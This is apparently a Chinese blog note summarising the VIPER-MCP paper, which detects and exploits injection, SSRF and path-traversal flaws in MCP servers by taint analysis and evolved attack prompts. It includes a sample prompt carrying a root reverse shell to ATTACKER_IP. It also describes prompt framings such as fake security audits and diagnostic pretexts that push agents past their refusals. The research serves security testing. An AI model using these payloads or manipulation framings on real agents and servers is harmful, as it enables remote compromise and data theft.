【论文阅读】VIPER-MCP: Detecting and Exploiting Vulnerabilities in Model Context Protocol Servers

MCP#

模型上下文协议（MCP）是一种开放标准，用于将大型语言模型与外部工具提供商连接在一起。MCP 采用客户端-服务器架构：MCP 客户端通常是一个大型语言模型的主机应用程序，它会与 MCP 服务器建立 JSON-RPC 2.0 会话。MCP 服务器会提供带有 JSON 模式定义输入参数的工具接口。每个工具都包含一份易于理解的描述，这些描述有助于大型语言模型决定调用哪个工具以及需要提供哪些参数，从而成为大型语言模型与 MCP 服务器之间的主要语义接口。

在运作层面，MCP 会话经历三个阶段。首先，在能力发现阶段，主机连接到服务器，获取可用工具的列表以及这些工具的详细描述和参数说明。其次，在工具选择阶段，大语言模型根据用户的自然语言请求和工具描述来选择合适的工具。最后，在工具调用阶段，大语言模型会生成符合要求的参数，然后主机将这些参数发送给服务器，服务器会执行相应的处理程序并返回结果。

在整个过程中，MCP 规范对调用格式进行了标准化，但并未对语义前提条件、权限边界以及 advertised 行为与后端实现之间的一致性做出强制要求。在实际部署中，MCP 服务器通常可以直接访问本地文件、进程和网络资源。虽然”安全”参数的构造是隐式地委托给托管代理来处理的，但本研究重点关注那些发生在工具处理过程中的污点式漏洞——在这些漏洞中，攻击者控制的恶意负载会通过未经过处理的数据流路径，传播到对安全性有敏感处理的环节。

威胁模型#

考虑一个能够影响由一个或多个 MCP 服务器所连接的 LLM 代理处理的自然语言输入的对手。该对手不会直接调用服务器端的功能或篡改 MCP 传输消息；相反，攻击完全通过代理的常规交互界面进行。具体来说，对手可以控制直接的聊天提示或任何用户控制的文本，这些文本是代理被要求作为下游任务的一部分进行处理的内容。如果代理将这种输入视为合法的请求，它可能会自动选择相应的 MCP 工具，生成符合类型的参数，并将攻击者控制的恶意内容转发到服务器上。这种情况反映了现实中的部署场景：MCP 服务器并非独立的互联网服务，而是作为 LLM 宿主的辅助功能而存在的后端服务。

重点关注三种在先前的安全分析研究中被广泛研究的漏洞类型：

• 命令注入（CWE-078）：通过 exec 或 spawn 函数，将工具参数插入到 shell 命令中，从而实现任意命令的执行。
• SSRF（CWE-918）：工具参数会影响出站请求的 URL，从而可能导致内部网络扫描或数据泄露行为。
• 路径遍历（CWE-022）：使用文件路径作为参数并不安全，因为攻击者可以读取、写入或删除任意文件。

下图是论文中举的一个例子：

攻击者控制的路径参数未经净化地从 MCP 工具处理程序中传入，最终被用于执行 sudo 命令。红色虚线表示漏洞传播的路径。

攻击者可以构造一个提示，例如”将这份配置文件写入 /test/；sudo bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'；echo ”“，其中插入的分号会终止原始命令，而 sudo bash -c 则会生成一个具有 root 权限的反向 shell。

这个例子揭示了三个阻碍 VIPER-MCP 发展的难题：

1. 这种漏洞仅通过工具描述是无法被发现的，只有当路径参数到达后端 shell 命令时才会显现出来。因此，单纯的静态检测不足以判断某工具是否具有攻击性。
2. Bytebot 提供了 16 种具有重叠功能的工具，因此代理在选择工具时可能需要谨慎选择那些语义上相近但并无实际危害的工具，否则就会面临非平凡的挑战。
3. 即使选择了正确的工具，代理内置的安全意识仍可能会修改那些明显具有恶意的参数值，这就需要反复调整 payload 的构造，以平衡类型合规性、合理性以及攻击目标的可达性。

这些难题反映了整个 MCP 生态系统面临的挑战，这也促使作者采用了结合静态检测与反馈驱动的提示优化的双阶段设计方案。

总体架构#

中文标注版：

附带这个插图风格（扁平化多盒模块系统架构图）的 prompt 是：A clean and professional computer science paper system architecture diagram, flat vector style, muted pastel color blocks (light yellow, light green, light blue) as container boxes, showing dataflow and control flow with arrows, minimal technical icons for LLM agent, server, code, and database, clear modular layout, academic publication style, high readability, white background.

阶段一：静态影响分析。 在这个阶段，VIPER-MCP 执行两次静态影响分析。第一次分析会运行一些基本的影响分析查询，以生成影响警报。第二次分析则会执行一些锚点查询，这些查询能够将这些警报与相应的处理函数关联起来，并独立地确认数据流的情况。通过这种方式，可以得到一些漏洞相关的调用链信息，这些调用链能够指出特定工具的执行入口点，这些入口点可能会带来危险。阶段一还会推导出一组决策规则，也就是需要在运行时进行监控的”汇点函数”，这些规则会被传递到阶段二。

阶段二：漏洞生成与验证。 在这个阶段，VIPER-MCP 接收来自第一阶段提供的调用链和预言规则，然后分两个阶段完成动态审计过程。在”种子生成”阶段，构建每个调用链的污染上下文，将调用链与实时 MCP 工具中的参数定义及相关代码片段结合起来。接着使用基于 LLM 的漏洞生成器生成多样化的初始提示，这些提示被编码为染色体，并在初步评分后加入种子池。在”提示优化”阶段，种子调度器从种子池中选择一个表现最佳的染色体，由双重变异器在结构或参数维度对其进行优化。最后，代理程序将优化后的提示应用于经过预处理的 MCP 服务器，同时利用第一阶段提供的预言规则、sink 激活信号以及适应度评分来进一步调整优化后的提示。变异调度器用于指导后续的操作，形成一个封闭的反馈循环。漏洞可利用性评估器能够独立评估代理程序产生的执行证据，并根据一定的标准将每个结果分类，确定其可利用性等级。被确认的漏洞会被漏洞报告员以概念验证的形式呈现出来。

静态污染分析#

在阶段一的静态分析里面，第一次分析会检测整个代码库中潜在的漏洞路径，生成漏洞提示。但是仅靠这些提示是远远不够的，它们只能提供文件级别的源和目的端的位置信息，没有指出是哪个 MCP 工具处理程序导致的。

所以需要进行第二轮检测，进行锚点查询，将每个漏洞提示与对应的工具处理程序联系起来，并确认数据流关系，从而生成针对特定 MCP 工具入口点的调用链。

第一轮分析中，构建了一个过程间数据流图，功能是：

定义”源头（Source）“与”终点（Sink）”：

• 源头：MCP 工具接收外部输入的参数（受污染源）。
• 终点：危险的底层 API（如执行系统命令的 subprocess.run、发起网络请求的 requests.get、读写文件的 open）。

同时考虑防御机制（Sanitizer）：在跟踪数据流动时，系统会检查中途有没有”过滤器”（比如输入校验、路径规范化）。如果中途有有效的过滤手段，就说明这个路径是安全的。只有当存在一条从输入参数直达危险 API，且中途没有任何过滤手段的路径时，VIPER-MCP 才会报出漏洞警告（指出具体是哪个 CWE 漏洞类别，并给出完整的数据流路线）。

解决的痛点：避免传统工具的”误报”。传统工具只要看到代码里有 requests.get 和输入参数放在一起就会报警，而 VIPER-MCP 必须确认输入数据真的能流向该 API 才会报警。

但是此时静态分析给出的告警信息太粗糙了，它只告诉安全人员”index.ts 这个文件里的第 50 行代码有漏洞”。AI Agent 根本不知道代码文件叫什么，它只能看到 MCP 服务器暴露给它的”工具名称（Tool Handler）“（比如 search_file 或 run_script）。如果不知道漏洞到底隐藏在哪个具体的”工具”里，后面的 PoC 生成器就无法写出正确的 Prompt 来骗 AI 选择并调用那个有漏洞的工具。所以进行第二轮分析。

第二次遍历会执行两组互补的锚点查询，这些查询能够补充第一次遍历产生的警报信息，并引入处理器的上下文信息。最终会形成基于漏洞的调用链，这是静态分析与动态漏洞利用生成之间的主要接口。

1. 函数锚点查询（Function Anchor Query）——确定”谁包裹了这个漏洞”：建立全局函数清单，扫描并找到在空间上能完全包裹漏洞源头（Source）的最小函数。解决”文件级告警”粒度太粗的问题（如将”index.ts 第 50 行有漏洞”精准转换为”read_file_tool 函数内部有漏洞”），确定了触发漏洞的具体 MCP 工具入口。

2. 流锚点查询（Flow Anchor Query）——确认”污点是如何具体流动的”：沿用第一阶段的追踪配置，在已知存在漏洞的路径上，重新输出一张简洁的表格，精确标记出 Source 和 Sink 的位置、名称以及具体的流类型（以 0 行容忍度精准匹配）。剔除了冗余计算，只对已确认触发告警的节点进行提取，明确数据从输入到危险 API 的完整精准轨迹。

通过整合上述两组查询的评估结果，VIPER-MCP 最终构建出格式为 $c = \text{tool\_candidate} \rightarrow \text{vuln\_type}@\text{line}$ 的标准调用链：

• $\text{tool\_candidate}$（候选工具）：LLM 能够调用的最优先级的 MCP 工具名称。
• $\text{vuln\_type}$（漏洞类型）：标准化的漏洞类别（如 Command Injection、SSRF、Path Traversal）。
• $\text{line}$（源码位置）：源代码中的精确行号。

为了给大语言模型提供足够的信息以生成有针对性的提示，VIPER-MCP 将第一阶段的输出与实时 MCP 工具的结构结合起来，从而构建出每个链级别的污染上下文 $\mathcal{C}_c$：

$\mathcal{C}_c = \{ c, \sigma(t_c), f_c, v_c, \pi_c \}$

公式右边每个符号的含义与作用拆解如下：

• $c$ ——漏洞调用链（Call Chain）
  • 定义：上一阶段生成的抽象元组，形式如 $c = t_c \rightarrow \text{vuln\_type}@\text{line}$。
  • 作用：标识该条漏洞链路的唯一标识符，包含最优先的候选工具和源码行号。
• $\sigma(t_c)$ ——工具参数类型定义（Parameter Type Schema）
  • 定义：目标 MCP 工具 $t_c$ 暴露给 LLM 的 JSON-Schema 或类型约束（如参数名、参数类型 string / number、是否必填等）。
  • 作用：告诉 LLM “该怎么构造成合法的自然语言指令”，使其诱导出的工具调用能精准匹配该工具的参数结构，避免因格式不匹配而被 MCP 协议层直接拒绝。
• $f_c$ ——目标接收函数（Target Sink Function）
  • 定义：最终触发漏洞的底层危险 API 名称（例如 subprocess.run、exec、fs.readFile、fetch 等）。
  • 作用：告诉 LLM “攻击要到达的终点是什么”，便于 LLM 在构造 Prompt 时针对性地夹带特定 Payload（如利用 && 拼接 Shell 命令）。
• $v_c$ ——漏洞类别（Vulnerability Class）
  • 定义：标准化的 CWE 漏洞类型（如 Command Injection、Path Traversal、SSRF）。
  • 作用：明确”攻击策略与 Payload 类型”，引导 LLM 生成特定语法特征的恶意注入语句。
• $\pi_c$ ——静态污染路径（Static Taint Path）
  • 定义：静态分析提取出的完整数据流节点序列（从 Source 参数经过哪些函数/变量变化流向 Sink）。
  • 作用：补充”内部绕过逻辑”，帮助 LLM 理解变量在代码内部是如何被拼接或处理的，从而绕过中途可能存在的过滤。

$\mathcal{C}_c$ 的本质就是给 LLM 编写的”精确攻击指南”。它回答了 LLM 生成 PoC 时的四个核心问题：

1. 骗 AI 调哪个工具？ → $t_c$（来自 $c$）
2. 工具要什么格式的参数？ → $\sigma(t_c)$
3. 要触发什么漏洞？ → $v_c$
4. 最终要轰炸哪个底层 API？ → $f_c$ 及其传播路径 $\pi_c$

漏洞利用生成#

大语言模型（LLM）的”对提示词表达高度敏感（Prompt Sensitivity）“以及”单次指令容易引导失败”的痛点会影响动态漏洞验证的成功率。

LLM 的指令遵循能力存在随机性和敏感性。即使输入相同的语义要求，换一种说话语气或任务包装形式，LLM 决定”是否调用工具”以及”调用哪个工具”的结果可能截然不同。

为了减轻这种敏感性，VIPER-MCP 为每次调用链 $c$ 生成了四种风格各异的提示语，分别采用”最小嵌入”、“验证请求”、“诊断提示”和”工作流程框架”这些模板。这四种模板都包含相同的语义目标——即引导代理走向目标 MCP 工具和目标接收端，但表面语言、任务框架和话语结构则有所不同。

• 最小嵌入（Minimal Embedding）：直截了当给出指令，测试模型对极简输入的响应。
• 验证请求（Verification Request）：伪装成正规的安全测试或校验需求，利用模型对”安全审计”指令的顺从性。
• 诊断预置（Diagnostic Pretext）：伪装成排错/日志分析上下文，诱导模型调用诊断工具。
• 工作流框架（Workflow Framing）：将工具调用包装成一段复杂业务流程中的必经步骤，绕过模型的安全拒绝机制。

在生成候选 Prompt 后，针对命令构造等目标进行”强化与优化”。在参数中主动植入能够触发 Shell 展开（Expansion）、引用逃逸（Quoting）、分隔符（Separators，如 ;、&&）或变量插值的具体控制值。

之后将每个生成的种子 Prompt 及其元数据结构化编码为染色体 $\chi = (c, \theta, p, \mathbf{e})$，其中引入了记录执行反馈的 $\mathbf{e}$。将简单的”文本生成”升维为”基于遗传算法的模糊测试（Fuzzing）”。$\mathbf{e}$ 记录了该 Prompt 在真实环境执行时的反馈（如是否报错、调用栈、工具选择结果），为后面的反馈驱动变异（Mutation Scheduler）提供了可追踪的基因组。

如果把 4 个初始 Prompt 全放进变异池，会导致搜索空间爆表、浪费大量的 LLM Token 和运行时间。VIPER-MCP 采用了”先跑一遍、评分筛选、择优入池”的竞争机制。确保进入后续演化循环（Seed Pool）的都是起始质量最高（适应度评分最高）的强力种子，极大地加速了演化收敛速度；同时保留落选方案，确保了实验的严谨性与可复现性。

种子变异与调度#

在种子池的维护上，是将传统软件测试中的模糊测试（Fuzzing）与遗传算法（Genetic Algorithm）相结合，通过”带有多样性保护的加权轮盘赌抽样”，解决自动化攻击 Prompt 演化过程中极易出现的”局部最优解陷阱”（即过早收敛）。

种子池 $\mathcal{P}$ 被维护为一个按适应度排序的染色体队列。在每次迭代中，调度器会从前 $k$ 个候选者中通过加权随机抽样来选择一个种子，其中权重与 $F(\chi) - \min_{\chi_i \in \mathcal{P}} F(\chi_i) + 1$ 成正比。

加权随机抽样（Weighted Random Sampling）：保证”优胜劣汰”的方向性

• 公式逻辑：抽样权重与偏移后的适应度成正比：

$\text{Weight} \propto F(\chi) - \min_{\chi_i \in \mathcal{P}} F(\chi_i) + 1$

• 设计意图：
  • 消除负数/平移拉伸：减去当前种子池中的最小值并 $+1$，确保所有种子的权重均为正数，且最差的种子也有极小概率被抽中（保留潜在的基因多样性）。
  • 精英偏好（Elitism）：限定只在前 $k$ 个候选者中抽样，避免把计算资源浪费在适应度极低、完全毫无希望的无效 Prompt 上，保证演化始终朝着”更高攻击成功率”的方向前进。

在模糊测试和遗传算法中，最大的痛点是：某一个 Prompt 如果偶然拿到了极高的初始分数，调度器就会一直榨取（Exploit）它，导致算法不再去探索（Explore）其他可能同样存在高危漏洞的工具或链。

为了促进调用链中的多样性，避免单一高适应度种子的过早收敛，VIPER-MCP 采用了两种惩罚机制：一种选择惩罚 $\rho_\chi$，每次选择一个种子作为父代时会增加该惩罚值；另一种链惩罚 $\kappa_\chi$，适用于所有共享同一调用链的种子。这些惩罚值在下文中描述的适应度计算中会被扣除，从而确保调度器随着时间的推移逐步探索不同的种子和链。

$\text{有效适应度} = \text{原始适应度} - \text{个体选择惩罚 } \rho_\chi - \text{链共享惩罚 } \kappa_\chi$

通过 LLM 代理到达易受攻击的接收端需要解决两个相互独立的挑战：

1. 代理必须从可能庞大的工具集中选择正确的工具；
2. 传递到的参数必须能够到达敏感接收端，且不得被净化或重定向。

当同时应对这两个挑战时，单纯依赖随机选择的工具可能会破坏已经确定的参数值，而精细调整参数则可能导致工具路径不稳定。因为这两种情况需要不同的解决方案——一种是结构上的重构，另一种是参数的微调。为了应对这一矛盾，论文提出了一种双突变器设计，该设计包含明确的调度策略，能够将这些正交维度上的问题分解为独立的任务。

1. 结构修改器：该工具会重新调整提示的框架，同时保留原有的操作目标，从而纠正代理的偏差行为，提高代理选择预期工具的可能性。当前一轮的执行证据表明代理偏离了预期的工具路径时，就会应用此工具。
2. 参数修改器：这种参数修改器仍然执行相同的任务，并使用相同的工具路径，但只修改用户可控的某个值或一些细节参数，比如主机、路径、分支名称、URL 或命令片段等。它利用前一轮的请求-响应数据来优化最有可能被接收端的参数。当代理已经调用了正确的工具，但提供的参数值仍不符合接收端的要求时，就会使用这种修改器。

双变异器会分析最近一轮的执行数据，包括适应度评分、调用跟踪信息以及请求包等，然后在这两个变异器中进行选择。

• 当证据表明工具路径发生了变化时，调度器会优先选择结构变异器（修改 Prompt 的话语框架、任务上下文或引导句式，目的是重定向 LLM 的注意力，强迫它去选择目标 MCP 工具）。
• 而当目标工具已经投入使用，但接收器证据仍然较弱时，调度器则会选择参数变异器（保持提示词的大体结构不变，专心对注入的具体参数进行微调，如尝试命令拼接符 &&、引号逃逸 '、路径规范化绕过 ../ 等）。

在每一轮变异中，系统会基于 4 种模板风格分别生成一个候选者，并全部放到真实环境中跑一遍，随后通过下面的公式计算模板选择得分 $G(\chi)$：

$G(\chi) = S_{\text{str}}(\chi) + S_{\text{par}}(\chi)$

• $S_{\text{str}}(\chi)$（结构得分）：衡量 Prompt 引导 LLM 正确选择并调用目标 MCP 工具的能力。
• $S_{\text{par}}(\chi)$（参数得分）：衡量 Prompt 携带的参数传递到底层 Sink 并成功触发漏洞/异常的深层能力。

通过 $G(\chi)$，系统仅保留得分最高的那个候选者 $\chi^*$ 进入下一轮演化：

$\chi^* = \arg\max_{\chi'_\theta : \theta \in \Theta} G(\chi'_\theta)$

如果多个模板算出来的 $G(\chi)$ 分数完全一样，VIPER-MCP 依次按以下优先级硬性裁决出唯一胜者：

1. 优先比较结构得分 $S_{\text{str}}$：工具选对是前提，选不对工具一切免谈。
2. 次要比较参数得分 $S_{\text{par}}$：在工具都选对的前提下，看谁更接近触发 Sink。
3. 最终看是否成功触发（Successful Trigger）：优先选择被验证器标为成功触发 PoC 的候选者。

采用单胜者延续（Winner-Carry-Forward）策略，每一轮变异 4 个，但最后只留下 1 个最佳结果。这极大地节省了 API Token 开销和运行耗时，避免了遗传算法在演化过程中种群数量呈指数级膨胀的问题。

运行时数据库（Runtime Oracle）#

目标 MCP 服务器与一个轻量级的运行时 Oracle 紧密集成在一起，该 Oracle 负责监控由第一阶段 Oracle 规则指定的各种 sink 函数。

在启动过程中，运行时 Oracle 会通过 instrumentation 钩子机制介入每个指定的 sink 函数。每当有一个 sink 函数被调用时，运行时 Oracle 就会捕获其调用参数，并记录是否有由攻击者控制的输入导致了危险操作的发生。这种基于实际运行情况的证据，独立于代理自报告的输出结果，可以作为评估适应性和验证漏洞可利用性的主要依据。

适应度评分器（Fitness Scorer）#

在基于反馈的提示生成过程中，一个重要的挑战是量化某个提示在触发目标漏洞时的接近程度。

与那些依赖分支覆盖的传统覆盖引导的模糊测试工具不同，VIPER-MCP 需要评估代理是否选择了正确的工具，以及用户控制的参数是否达到了预期的目标值。而这两个指标都无法通过标准的代码覆盖度量来衡量。VIPER-MCP 通过让每个染色体获得两个互补的评分来解决这个问题，这些评分是由专门的 LLM 算法计算出来的。该算法会接收一个简洁的摘要，其中包含漏洞相关的调用链、代理的响应、调用的工具、请求包、调用跟踪信息以及测试结果的详细信息。

这两个评分为：

结构得分 $S_{\text{str}}(\chi) \in [0, 10]$：衡量”工具选择”的准确度，评估 Prompt 是否成功骗过 LLM，使其沿着预期的工具路径执行。

• 满分/最高分：Agent 成功且正确地调用了目标 MCP 工具。
• 中等分（部分进度）：目标工具虽未被直接调用，但调用跟踪（Call Trace）显示 Agent 已经在向目标 Handler 的方向尝试（如调用了前置关联工具）。
• 低分/零分：Agent 完全偏离路径，调用了无关工具，或者直接拒绝响应。

参数得分 $S_{\text{par}}(\chi) \in [0, 10]$：衡量”漏洞渗透”的深度，评估用户可控的恶意数据（Payload）沿着污点路径向底层敏感 API（Sink）渗透到了哪一层。

• 浅层（基础传递）：恶意参数仅成功进入了目标 MCP 工具的入口。
• 中层（环境进入）：参数穿透了工具内部逻辑，到达了危险敏感函数（Sink）的调用上下文。
• 深层（注入信号观察到）：在最终 Sink 的入参中观察到了明显的注入特征（如分隔符 ; / && 完好保留、变量替换成功、重定向操作符生效等）。

种子调度器最终用于决策的适应度公式为：

$F(\chi) = S_{\text{str}}(\chi) + S_{\text{par}}(\chi) - \rho_\chi - \kappa_\chi$

各部分在整体演化中的协作逻辑如下：

• $S_{\text{str}}(\chi) + S_{\text{par}}(\chi)$（正向激励）：驱动 Prompt 演化既要”骗对工具”（结构正确），又要”炸穿底层”（参数有效）。两个维度均基于动态运行时的硬核证据（Oracle Evidence），而非简单的文本词汇匹配，防范了假的逻辑诱导。
• $-\rho_\chi - \kappa_\chi$（负向惩罚）：扣除个体重复选择惩罚 $\rho_\chi$ 和链共享惩罚 $\kappa_\chi$，强迫调度器不断探索未充分测试的 Prompt 和其他 MCP 工具链，防止陷入局部最优解。

可利用性验证工具与基于反馈的提示优化机制#

可利用性验证工具解决了漏洞验证中的”伪失效（False Negative）“与”环境干扰”问题：

在漏洞测试中，即使攻击参数成功渗透到了危险 API（Sink），也可能因为测试环境缺少依赖文件、网络超时或缺少二进制文件而导致没有产生明显的攻击效果（如未回显或报错）。如果因此判断漏洞不存在，就会造成严重漏报。

论文强调，从漏洞挖掘的视角来看，“用户控制的数据直达 Sink”就已经构成了可利用性（Exploitability）的铁证，不需要强求环境产生最终的副作用（Side Effect）。确认存在漏洞后，VIPER-MCP 会直接输出概念验证提示词（PoC Prompt），并附带完整的运行时执行证据链（Execution Evidence），形成可复现的安全报告。

基于反馈的提示优化机制将”寻找能触发漏洞的 Prompt”抽象为在自然语言 Prompt 空间中的黑盒搜索问题，并利用运行时执行反馈作为导向。

在每一轮中，Execute 子程序会将候选提示提交给 Proxy Agent，并收集相应的执行结果，包括运行时跟踪和数据源匹配信息。IsHit 子程序会调用 Exploit Validator，该工具会根据上文所描述的排序尺度来为匹配结果分配一个触发标签。ScheduleSeed 子程序则通过基于适应度的采样方式，从种子池中选取下一个父节点。实际上，系统的运行时间主要依赖于 LLM 的推理过程以及代理的执行过程。